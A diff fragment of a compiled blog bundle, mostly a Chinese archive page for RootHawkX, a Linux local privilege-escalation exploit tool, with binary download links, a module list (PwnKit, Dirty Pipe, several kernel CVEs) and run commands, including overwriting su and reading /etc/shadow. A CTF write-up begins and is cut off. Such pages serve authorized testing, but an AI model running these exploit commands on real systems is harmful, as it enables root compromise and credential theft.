\u662f\u4e00\u4e2a Linux \u672c\u5730\u5b89\u5168\u6d4b\u8bd5\u7ec8\u7aef\u5de5\u5177\uff0c\u4f7f\u7528 Go \u7f16\u5199\uff0c\u9762\u5411\u6388\u6743\u9776\u673a\u3001\u865a\u62df\u673a\u548c\u5b9e\u9a8c\u73af\u5883\u3002\u8be5\u9879\u76ee\u57fa\u4e8e ",(0,s.jsx)(n.a,{href:"https://github.com/RoadBicycle-C/RootHawk",children:"RootHawk"})," \u4fee\u6539\uff0c\u5e76\u96c6\u6210\u4e86\u66f4\u591a Linux \u672c\u5730\u63d0\u6743\u6f0f\u6d1e\u5229\u7528\u6a21\u5757\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u6587\u5c06\u5b83\u5f52\u6863\u5230\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"\u6e17\u900f\u6d4b\u8bd5 -> \u5185\u7f51\u6e17\u900f -> Linux\u63d0\u6743 -> \u672c\u5730\u63d0\u6743\u5de5\u5177\n"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u5de5\u5177\u4ec5\u7528\u4e8e\u6388\u6743\u5b89\u5168\u6d4b\u8bd5\u3001\u9776\u573a\u590d\u73b0\u548c\u6f0f\u6d1e\u9a8c\u8bc1\u3002\u4e0d\u8981\u5728\u672a\u6388\u6743\u7cfb\u7edf\u4e0a\u8fd0\u884c\u672c\u5de5\u5177\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5de5\u5177\u4fe1\u606f",children:"\u5de5\u5177\u4fe1\u606f"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u9879\u76ee"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u5185\u5bb9"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u5de5\u5177\u540d\u79f0"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"RootHawkX"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u4e0a\u6e38\u4ed3\u5e93"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{href:"https://github.com/DeEpinGh0st/RootHawkX",children:"DeEpinGh0st/RootHawkX"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u5f53\u524d\u5f52\u6863\u7248\u672c"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"v1.1"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Release \u5730\u5740"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{href:"https://github.com/DeEpinGh0st/RootHawkX/releases/tag/v1.1",children:"RootHawkX v1.1"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u53d1\u5e03\u65f6\u95f4"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-30"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u4e3b\u8981\u8bed\u8a00"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Go / C"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u5de5\u5177\u7c7b\u578b"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux \u672c\u5730\u63d0\u6743\u68c0\u6d4b\u4e0e\u5229\u7528\u5de5\u5177"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u672c\u5730\u5f52\u6863\u4e0b\u8f7d",children:"\u672c\u5730\u5f52\u6863\u4e0b\u8f7d"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e3a\u907f\u514d\u4e0a\u6e38\u4ed3\u5e93\u53d8\u52a8\u3001Release \u5220\u9664\u6216\u7f51\u7edc\u4e0d\u53ef\u7528\uff0c\u672c\u7ad9\u5df2\u4fdd\u5b58 ",(0,s.jsx)(n.code,{children:"v1.1"})," \u7684\u6e90\u7801\u5305\u548c\u5168\u90e8 Release \u67b6\u6784\u4e8c\u8fdb\u5236\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u6e90\u7801",children:"\u6e90\u7801"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u6587\u4ef6"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4e0b\u8f7d"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"SHA256"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"RootHawkX-v1.1.zip"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{target:"_blank","data-noBrokenLinkCheck":!0,href:t(87772).A+"",children:"\u4e0b\u8f7d"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"a740a8131fc8ee609a18f64c11913bb1728d116537a2011e83d4ca86ecc9af26"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"RootHawkX-v1.1.tar.gz"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{target:"_blank","data-noBrokenLinkCheck":!0,href:t(16161).A+"",children:"\u4e0b\u8f7d"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"c2f89356d8b636fe6690056effa61757fc5cf1c05f70797f60f50654c3e65b6d"})})]})]})]}),"\n",(0,s.jsx)(n.h3,{id:"\u53ef\u6267\u884c\u6587\u4ef6",children:"\u53ef\u6267\u884c\u6587\u4ef6"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u6587\u4ef6"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u67b6\u6784"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4e0b\u8f7d"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"SHA256"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"roothawkx_linux_386"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"linux/386"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{href:"/tools/roothawkx/v1.1/bin/roothawkx_linux_386",children:"\u4e0b\u8f7d"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"9b52eaa757c97ee792970bebf26bba2b18448c9bdd42b1fac170180c71aa28d2"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"roothawkx_linux_amd64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"linux/amd64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{href:"/tools/roothawkx/v1.1/bin/roothawkx_linux_amd64",children:"\u4e0b\u8f7d"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"e183c0ac8688a7285164ef31d16ab4eaa44bbf52c36b104157f915cb1e8f9179"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"roothawkx_linux_arm64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"linux/arm64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{href:"/tools/roothawkx/v1.1/bin/roothawkx_linux_arm64",children:"\u4e0b\u8f7d"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"de5fa1b971947194e8cbcc281c980c899f86aade6c4d5fa1063570086a2d67f1"})})]})]})]}),"\n",(0,s.jsx)(n.p,{children:"\u6821\u9a8c\u6587\u4ef6\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{target:"_blank","data-noBrokenLinkCheck":!0,href:t(3134).A+"",children:"SHA256SUMS.txt"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"/tools/roothawkx/v1.1/METADATA.md",children:"METADATA.md"})}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u5730\u6821\u9a8c\u547d\u4ee4\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"shasum -a 256 roothawkx_linux_amd64\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5982\u679c\u5df2\u7ecf\u4e0b\u8f7d\u5b8c\u6574\u5f52\u6863\u76ee\u5f55\uff0c\u53ef\u4ee5\u4f7f\u7528\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"cd static/tools/roothawkx/v1.1\nshasum -a 256 -c SHA256SUMS.txt\n"})}),"\n",(0,s.jsx)(n.h2,{id:"\u4f7f\u7528\u65b9\u6cd5",children:"\u4f7f\u7528\u65b9\u6cd5"}),"\n",(0,s.jsx)(n.p,{children:"\u4e0b\u8f7d\u5bf9\u5e94\u67b6\u6784\u7684\u6587\u4ef6\u540e\uff0c\u5148\u6dfb\u52a0\u6267\u884c\u6743\u9650\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"chmod +x roothawkx_linux_amd64\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u67e5\u770b\u5e2e\u52a9\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"./roothawkx_linux_amd64 -help\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u67e5\u770b\u6a21\u5757\u5217\u8868\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"./roothawkx_linux_amd64 -list\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6267\u884c\u6307\u5b9a\u6a21\u5757\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"./roothawkx_linux_amd64 -e CVE-2022-0847\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6309\u987a\u5e8f\u6267\u884c\u5168\u90e8\u6a21\u5757\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"./roothawkx_linux_amd64 -any\n"})}),"\n",(0,s.jsx)(n.h2,{id:"\u53c2\u6570\u8bf4\u660e",children:"\u53c2\u6570\u8bf4\u660e"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u53c2\u6570"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-list"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u663e\u793a\u5f53\u524d\u96c6\u6210\u7684 CVE \u6a21\u5757"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-e"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u6267\u884c\u6307\u5b9a CVE \u6216\u522b\u540d"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-any"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u6309\u5217\u8868\u987a\u5e8f\u6267\u884c\u5168\u90e8\u6a21\u5757"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-pk"})}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["\u6307\u5b9a CVE-2021-4034 \u4f7f\u7528\u7684 pkexec \u8def\u5f84\uff0c\u9ed8\u8ba4 ",(0,s.jsx)(n.code,{children:"/usr/bin/pkexec"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-backup"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-31431 \u6267\u884c\u524d\u5907\u4efd su \u5230\u6307\u5b9a\u8def\u5f84"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-exec"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-31431 \u63d0\u6743\u540e\u6267\u884c\u6307\u5b9a\u7a0b\u5e8f\uff0c\u800c\u4e0d\u662f\u8fdb\u5165 su"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-target"})}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["\u6307\u5b9a\u6267\u884c\u76ee\u6807\u529f\u80fd\uff0c\u4f8b\u5982 CVE-2026-46333 \u7684 ",(0,s.jsx)(n.code,{children:"key"})," \u6216 ",(0,s.jsx)(n.code,{children:"shadow"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-v"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u5c3d\u91cf\u8f93\u51fa\u8be6\u7ec6\u65e5\u5fd7"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-help"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u663e\u793a\u5e2e\u52a9"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u96c6\u6210\u6a21\u5757",children:"\u96c6\u6210\u6a21\u5757"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"CVE \u7f16\u53f7"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u5e38\u89c1\u540d\u79f0 / \u522b\u540d"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u7c7b\u578b / \u7ec4\u4ef6"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-31431"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Copy Fail"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u6d89\u53ca crypto / AF_ALG / algif_aead \u76f8\u5173\u903b\u8f91\u95ee\u9898"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-43284"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Dirty Frag / CopyFail2"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u6d89\u53ca xfrm/esp\u3001shared skb frags \u7b49\u5185\u6838\u7f51\u7edc\u5904\u7406\u8def\u5f84"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-43503"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"DirtyClone"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u5229\u7528 net/skbuff \u5171\u4eab\u5206\u7247\u514b\u9686\u6f0f\u6d1e"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-46300"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Fragnesia"}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u5229\u7528 XFRM ESP-in-TCP \u5b50\u7cfb\u7edf\u903b\u8f91\u95ee\u9898\uff0c\u901a\u8fc7 page cache \u8986\u5199 ",(0,s.jsx)(n.code,{children:"/usr/bin/su"})," \u83b7\u53d6 root shell"]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-46331"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"COW / Pedit"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u5229\u7528 net/sched act_pedit \u6f0f\u6d1e\u8986\u5199\u5185\u6838\u810f\u6570\u636e"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-46333"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"ssh-keysign-pwn"}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["Linux \u5185\u6838\u8fdb\u7a0b\u9000\u51fa\u8def\u5f84\u7ade\u6001\u6761\u4ef6\uff0c\u5141\u8bb8\u4fe1\u606f\u6cc4\u9732\uff0c\u652f\u6301 ",(0,s.jsx)(n.code,{children:"-target shadow"})," \u6216 ",(0,s.jsx)(n.code,{children:"-target key"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-43494"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"PinTheft"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u5229\u7528 RDS zerocopy double-free \u4e0e io_uring page cache overwrite"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"dirtydecrypt"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"DirtyDecrypt / DirtyCBC"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u5229\u7528 rxgk_decrypt_skb() \u7f3a\u5c11 COW \u4fdd\u62a4\u5bfc\u81f4 page cache \u5199\u5165"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2021-4034"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"PwnKit"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Polkit pkexec \u672c\u5730\u63d0\u6743\u6f0f\u6d1e"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2021-3560"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Polkit Authentication Bypass"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Polkit D-Bus \u6743\u9650\u7ed5\u8fc7"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2022-0847"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Dirty Pipe"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u7ba1\u9053\u673a\u5236\u76f8\u5173\u672c\u5730\u63d0\u6743\u6f0f\u6d1e"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u793a\u4f8b\u547d\u4ee4",children:"\u793a\u4f8b\u547d\u4ee4"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"./roothawkx_linux_amd64 -list\n./roothawkx_linux_amd64 -e CVE-2021-4034\n./roothawkx_linux_amd64 -e CVE-2021-4034 -pk /usr/bin/pkexec\n./roothawkx_linux_amd64 -e CVE-2026-31431 -backup /tmp/su.bak\n./roothawkx_linux_amd64 -e CVE-2026-31431 -backup /tmp/su.bak -exec /tmp/root-task\n./roothawkx_linux_amd64 -e CVE-2026-43284 -v\n./roothawkx_linux_amd64 -e CVE-2026-46300\n./roothawkx_linux_amd64 -e fragnesia -v\n./roothawkx_linux_amd64 -e pintheft\n./roothawkx_linux_amd64 -e dirtydecrypt\n./roothawkx_linux_amd64 -e dirtyclone\n./roothawkx_linux_amd64 -e cow\n./roothawkx_linux_amd64 -e keysign -target shadow\n./roothawkx_linux_amd64 -any\n"})}),"\n",(0,s.jsx)(n.h2,{id:"\u4f7f\u7528\u6ce8\u610f",children:"\u4f7f\u7528\u6ce8\u610f"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u53ea\u5728\u6388\u6743\u73af\u5883\u3001\u9776\u573a\u3001\u865a\u62df\u673a\u6216\u81ea\u6709\u6d4b\u8bd5\u673a\u4e0a\u8fd0\u884c\u3002"}),"\n",(0,s.jsxs)(n.li,{children:["\u6d89\u53ca ",(0,s.jsx)(n.code,{children:"/usr/bin/su"}),"\u3001",(0,s.jsx)(n.code,{children:"pkexec"}),"\u3001page cache \u8986\u5199\u7b49\u6a21\u5757\u65f6\uff0c\u4f18\u5148\u4f7f\u7528\u5feb\u7167\u73af\u5883\u6d4b\u8bd5\u3002"]}),"\n",(0,s.jsx)(n.li,{children:"\u6267\u884c\u524d\u8bb0\u5f55\u7cfb\u7edf\u7248\u672c\u3001\u5185\u6838\u7248\u672c\u548c\u5de5\u5177\u54c8\u5e0c\uff0c\u4fbf\u4e8e\u590d\u73b0\u548c\u56de\u6eda\u3002"}),"\n",(0,s.jsxs)(n.li,{children:["\u4e0d\u5efa\u8bae\u5728\u751f\u4ea7\u7cfb\u7edf\u4e0a\u76f4\u63a5\u8fd0\u884c ",(0,s.jsx)(n.code,{children:"-any"}),"\uff0c\u5e94\u5148\u901a\u8fc7 ",(0,s.jsx)(n.code,{children:"-list"})," \u548c\u7cfb\u7edf\u7248\u672c\u7b5b\u9009\u76ee\u6807\u6a21\u5757\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["\u5982\u679c\u6a21\u5757\u63d0\u4f9b ",(0,s.jsx)(n.code,{children:"-backup"})," \u53c2\u6570\uff0c\u4f18\u5148\u6307\u5b9a\u5907\u4efd\u8def\u5f84\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u53c2\u8003\u94fe\u63a5",children:"\u53c2\u8003\u94fe\u63a5"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/DeEpinGh0st/RootHawkX",children:"RootHawkX \u4e0a\u6e38\u4ed3\u5e93"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/DeEpinGh0st/RootHawkX/releases/tag/v1.1",children:"RootHawkX v1.1 Release"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/RoadBicycle-C/RootHawk",children:"RootHawk \u539f\u9879\u76ee"})}),"\n"]})]})}function a(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}},87772:(e,n,t)=>{t.d(n,{A:()=>l});const l=t.p+"assets/files/RootHawkX-v1.1-88e0fdffdc2210668c6117fdf99c34d2.zip"}}]); \ No newline at end of file diff --git a/en/assets/js/305e9cf4.d8e8e391.js b/en/assets/js/305e9cf4.d8e8e391.js new file mode 100644 index 0000000..5a4450d --- /dev/null +++ b/en/assets/js/305e9cf4.d8e8e391.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8730],{24524:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>a,contentTitle:()=>l,default:()=>g,frontMatter:()=>c,metadata:()=>t,toc:()=>d});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/README","title":"KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/01.Knownsec/01.knownsec-ctf-09/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/01.Knownsec/01.knownsec-ctf-09","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/01.Knownsec/01.knownsec-ctf-09/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u626b\u63cf\u6a21\u5f0f","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f"},"next":{"title":"01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09"}}');var r=s(74848),i=s(28453);const c={},l="KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3",a={},d=[];function o(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"knownsec-2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3",children:"KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:39:14"})]})})]}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsxs)(e.p,{children:["\u9898\u76ee\u6e90\u7801 -> ",(0,r.jsx)(e.a,{href:"https://cdn.wjlin0.com/halo-img/vyrpgtqhknoxypax.bz2",children:"vyrpgtqhknoxypax.bz2"})]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5bf9\u9898\u76ee\u4e0b\u8f7d\u7684\u6e90\u7801\u5206\u6790\uff0c\u53d1\u73b0\u4e3a\u4e00\u4e2a\u7b80\u6613\u7684\u6587\u4ef6\u670d\u52a1\u5668\uff0c\u4f46\u662f\u9700\u8981\u5bc6\u7801\u624d\u80fd\u767b\u5f55"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'from pyamf.remoting.gateway.wsgi import 